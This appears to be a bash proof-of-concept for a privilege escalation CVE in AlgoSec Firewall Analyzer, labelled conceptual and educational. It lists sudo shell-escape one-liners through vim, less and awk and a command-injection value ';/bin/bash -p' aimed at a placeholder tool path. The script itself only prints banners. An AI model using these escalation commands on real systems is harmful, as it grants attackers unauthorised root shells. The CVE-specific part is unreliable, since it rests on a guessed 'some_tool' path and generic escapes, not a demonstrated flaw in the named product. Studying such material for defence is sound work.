CVE-2025-12381

#!/bin/bash # CVE-2025-12381 PoC - AlgoSec Firewall Analyzer Privilege Escalation # This PoC demonstrates parameter injection via sudoers-approved command # Note: This is a conceptual PoC. Actual exploitation requires: # 1. Target system running vulnerable AlgoSec Firewall Analyzer version # 2. Attacker has low-privilege user account with sudo access # 3. Specific vulnerable command in sudoers file # Example attack vectors: # Vector 1: If 'vim' is in sudoers # sudo vim -c ':!sh' # Vector 2: If 'less' is in sudoers # sudo less /etc/passwd # Then type: !sh # Vector 3: If 'awk' is in sudoers # sudo awk 'BEGIN {system("/bin/sh")}' # Vector 4: Parameter injection example (generic) # Assuming vulnerable command allows parameter injection: VULN_CMD="/opt/algosec/firewall_analyzer/bin/some_tool" INJECTED_CMD=";/bin/bash -p" # The actual PoC would look like: # sudo $VULN_CMD $INJECTED_CMD echo "[+] CVE-2025-12381 AlgoSec Firewall Analyzer LPE" echo "[+] Target: AlgoSec Firewall Analyzer A33.0/A33.10" echo "[+] Method: Sudoers Parameter Injection" echo "[!] This PoC is for educational purposes only"
